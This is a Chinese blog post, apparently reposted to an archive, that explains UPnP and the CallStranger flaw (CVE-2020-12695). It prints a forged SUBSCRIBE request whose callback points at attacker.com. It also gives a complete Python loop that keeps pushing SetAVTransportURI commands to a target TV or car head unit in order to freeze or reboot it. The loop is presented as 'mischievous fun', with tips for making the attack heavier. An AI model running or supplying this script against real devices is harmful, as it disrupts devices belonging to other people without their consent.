文章总结: UPnP协议是一组零配置自动发现协议,由SSDP、SOAP和GENA子协议组成,用于实现网络设备互操作。文章介绍了CVE-2020-12695(CallStranger)漏洞,该漏洞允许攻击者伪造事件通知请求绕过访问控制,导致SSRF、DDoS和信息泄露风险。文章还展示了一个恶趣味利用场景,通过频繁切换目标设备的播放URI造成资源占用异常、界面卡死甚至重启,并提供了Python代码示例。建议用户关注UPnP设备安全性,及时更新固件以修复已知漏洞。 综合评分: 75 文章分类: 漏洞分析,IoT安全,网络安全,DDoS,协议安全

UPnP 协议恶趣味:从协议介绍到投屏 DDoS
原创
咸鱼
白夜无声
2025年6月27日 08:47 重庆
一、什么是 UPnP?
UPnP(Universal Plug and Play)是一组零配置、自动发现协议,允许网络设备(音响、电视、车机等)实现互操作。它由多个子协议组成:
| 子协议 | 功能 | | — | — | | SSDP | 设备发现 | | SOAP | 控制命令 | | GENA | 事件订阅和通知 |
典型设备:车机副驾/中控屏、智能音响、家用NAS、路由器等 常用设备类型:
MediaRenderer(接收媒体)、MediaServer(提供媒体)

二、实战漏洞回顾:CVE-2020-12695(CallStranger)
这个漏洞源自 UPnP 标准中的事件订阅(GENA)机制。攻击者可伪造事件通知请求,绕过访问控制:
利用场景:
- SSRF:利用
SUBSCRIBE请求向内网发送订阅 - DDoS:构造反射型攻击,打第三方网站
- 信息泄露:通过通知发送设备敏感内容(如播放 URI)
#
示例伪造订阅请求:
SUBSCRIBE /upnp/dev/AVTransport/event HTTP/1.1Host: 192.168.0.100:49152Callback: <http://attacker.com:1337/callback>NT: upnp:eventTimeout: Second-1800
三、恶趣味利用小合集(实验环境推荐隔离)
#
- 目标设备支持 UPnP AVTransport 服务(如某些电视、车机、多媒体盒子等)。
- 利用设备频繁切换播放 URI,会造成系统资源占用异常、界面卡死、甚至重启。
- 建议设置投屏地址为不存在的视频流地址,进一步放大资源占用。
例如:
import requestsimport timeTARGET_IP = "192.168.1.1" # 目标设备 IPPORT = 12121 # UPnP 服务端口(根据设备实际情况修改)CONTROL_URL = "/upnp/control/AVTransport" # 设备控制 URL 路径MEDIA_URL_1 = "http://example.com/1.mp4"MEDIA_URL_2 = "http://example.com/2.mp4"HEADERS = { "Content-Type": "text/xml; charset=utf-8", "SOAPACTION": '"urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"'}def build_soap_body(uri): return f"""<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1"> <InstanceID>0</InstanceID> <CurrentURI>{uri}</CurrentURI> <CurrentURIMetaData></CurrentURIMetaData> </u:SetAVTransportURI> </s:Body></s:Envelope>"""def ddos_loop(): while True: for uri in [MEDIA_URL_1, MEDIA_URL_2]: body = build_soap_body(uri) try: res = requests.post( f"http://{TARGET_IP}:{PORT}{CONTROL_URL}", data=body, headers=HEADERS, timeout=3 ) print(f"[+] Sent URI: {uri} => Status: {res.status_code}") except Exception as e: print(f"[!] Error: {e}") time.sleep(1) # 间隔短会更“致命”,可调节if __name__ == "__main__": ddos_loop()
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论